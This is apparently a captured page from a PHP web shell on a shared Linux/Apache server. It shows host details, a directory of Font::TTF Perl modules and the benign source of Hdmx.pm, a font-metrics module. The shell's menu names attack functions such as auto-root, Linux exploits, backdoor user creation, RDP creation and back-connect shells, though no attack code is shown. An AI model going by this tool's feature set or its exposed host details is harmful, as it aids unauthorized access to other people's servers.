Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Font /
TTF /
[ HOME SHELL ]
Name
Size
Permission
Action
Features
[ DIR ]
drwxr-xr-x
Kern
[ DIR ]
drwxr-xr-x
Mort
[ DIR ]
drwxr-xr-x
Woff
[ DIR ]
drwxr-xr-x
AATKern.pm
2.89
KB
-rw-r--r--
AATutils.pm
23.07
KB
-rw-r--r--
Anchor.pm
4.8
KB
-rw-r--r--
Bsln.pm
3.72
KB
-rw-r--r--
Changes_old.txt
2.17
KB
-rw-r--r--
Cmap.pm
23.91
KB
-rw-r--r--
Coverage.pm
8.38
KB
-rw-r--r--
Cvt_.pm
1.4
KB
-rw-r--r--
DSIG.pm
1.97
KB
-rw-r--r--
Delta.pm
3.39
KB
-rw-r--r--
Dumper.pm
2.56
KB
-rw-r--r--
EBDT.pm
7.16
KB
-rw-r--r--
EBLC.pm
6.3
KB
-rw-r--r--
Fdsc.pm
2.18
KB
-rw-r--r--
Feat.pm
4.44
KB
-rw-r--r--
Fmtx.pm
1.96
KB
-rw-r--r--
Font.pm
29.07
KB
-rw-r--r--
Fpgm.pm
1.66
KB
-rw-r--r--
GDEF.pm
13.64
KB
-rw-r--r--
GPOS.pm
20.74
KB
-rw-r--r--
GSUB.pm
8.64
KB
-rw-r--r--
Glat.pm
3.42
KB
-rw-r--r--
Gloc.pm
2.56
KB
-rw-r--r--
Glyf.pm
3.68
KB
-rw-r--r--
Glyph.pm
25.25
KB
-rw-r--r--
GrFeat.pm
8.33
KB
-rw-r--r--
Hdmx.pm
3.12
KB
-rw-r--r--
Head.pm
5.84
KB
-rw-r--r--
Hhea.pm
3.54
KB
-rw-r--r--
Hmtx.pm
4.61
KB
-rw-r--r--
Kern.pm
8.5
KB
-rw-r--r--
LTSH.pm
1.67
KB
-rw-r--r--
Loca.pm
4.72
KB
-rw-r--r--
Manual.pod
8.96
KB
-rw-r--r--
Maxp.pm
4.17
KB
-rw-r--r--
Mort.pm
2.1
KB
-rw-r--r--
Name.pm
27.78
KB
-rw-r--r--
OS_2.pm
38.07
KB
-rw-r--r--
OTTags.pm
42.94
KB
-rw-r--r--
OldCmap.pm
9.66
KB
-rw-r--r--
OldMort.pm
25.53
KB
-rw-r--r--
PCLT.pm
2.49
KB
-rw-r--r--
PSNames.pm
132.77
KB
-rw-r--r--
Post.pm
9.53
KB
-rw-r--r--
Prep.pm
1.61
KB
-rw-r--r--
Prop.pm
3.47
KB
-rw-r--r--
Segarr.pm
9.53
KB
-rw-r--r--
Silf.pm
28.24
KB
-rw-r--r--
Sill.pm
3.2
KB
-rw-r--r--
Table.pm
11.15
KB
-rw-r--r--
Ttc.pm
3.87
KB
-rw-r--r--
Ttopen.pm
44.24
KB
-rw-r--r--
Useall.pm
2.16
KB
-rw-r--r--
Utils.pm
18.51
KB
-rw-r--r--
Vhea.pm
3.57
KB
-rw-r--r--
Vmtx.pm
1.66
KB
-rw-r--r--
Win32.pm
1.08
KB
-rw-r--r--
Woff.pm
1.09
KB
-rw-r--r--
XMLparse.pm
5.49
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Hdmx.pm
package Font::TTF::Hdmx; =head1 NAME Font::TTF::Hdmx - Horizontal device metrics =head1 DESCRIPTION The table consists of an hash of device metric tables indexed by the ppem for that subtable. Each subtable consists of an array of advance widths in pixels for each glyph at that ppem (horizontally). =head1 INSTANCE VARIABLES Individual metrics are accessed using the following referencing: $f->{'hdmx'}{$ppem}[$glyph_num] In addition there is one instance variable: =over 4 =item Num Number of device tables. =back =head2 METHODS =cut use strict; use vars qw(@ISA); @ISA = qw(Font::TTF::Table); =head2 $t->read Reads the table into data structures =cut sub read { my ($self) = @_; $self->SUPER::read or return $self; my ($fh) = $self->{' INFILE'}; my ($numg, $ppem, $i, $numt, $dat, $len); $numg = $self->{' PARENT'}{'maxp'}{'numGlyphs'}; $fh->read($dat, 8); ($self->{'Version'}, $numt, $len) = unpack("nnN", $dat); $self->{'Num'} = $numt; for ($i = 0; $i < $numt; $i++) { $fh->read($dat, $len); $ppem = unpack("C", $dat); $self->{$ppem} = [unpack("C$numg", substr($dat, 2))]; } $self; } =head2 $t->out($fh) Outputs the device metrics for this font =cut sub out { my ($self, $fh) = @_; my ($numg, $i, $pad, $len, $numt, @ppem, $max); return $self->SUPER::out($fh) unless ($self->{' read'}); $numg = $self->{' PARENT'}{'maxp'}{'numGlyphs'}; @ppem = grep(/^\d+$/, sort {$a <=> $b} keys %$self); $pad = "\000" x (3 - ($numg + 1) % 4); $len = $numg + 2 + length($pad); $fh->print(pack("nnN", 0, $#ppem + 1, $len)); for $i (@ppem) { $max = 0; foreach (@{$self->{$i}}[0..($numg - 1)]) { $max = $_ if $_ > $max; } $fh->print(pack("C*", $i, $max, @{$self->{$i}}[0..($numg - 1)]) . $pad); } $self; } =head2 $t->minsize() Returns the minimum size this table can be. If it is smaller than this, then the table must be bad and should be deleted or whatever. =cut sub minsize { return 8; } =head2 $t->tables_do(&func) For each subtable it calls &sub($ref, $ppem) =cut sub tables_do { my ($self, $func) = @_; my ($i); foreach $i (grep(/^\d+$/, %$self)) { &$func($self->{$i}, $i); } $self; } =head2 $t->XML_element($context, $depth, $key, $value) Outputs device metrics a little more tidily =cut sub XML_element { my ($self) = shift; my ($context, $depth, $key, $value) = @_; my ($fh) = $context->{'fh'}; my ($i); return $self->SUPER::XML_element(@_) if (ref($value) ne 'ARRAY'); $fh->print("$depth<metrics ppem='$key'>\n"); for ($i = 0; $i <= $#{$value}; $i += 25) { $fh->print("$depth$context->{'indent'}". join(' ', @{$value}[$i .. $i + 24]) . "\n"); } $fh->print("$depth</metrics>\n"); $self; } 1; =head1 BUGS None known =head1 AUTHOR Martin Hosken L<http://scripts.sil.org/FontUtils>. =head1 LICENSING Copyright (c) 1998-2016, SIL International (http://www.sil.org) This module is released under the terms of the Artistic License 2.0. For details, see the full text of the license in the file LICENSE. =cut
Close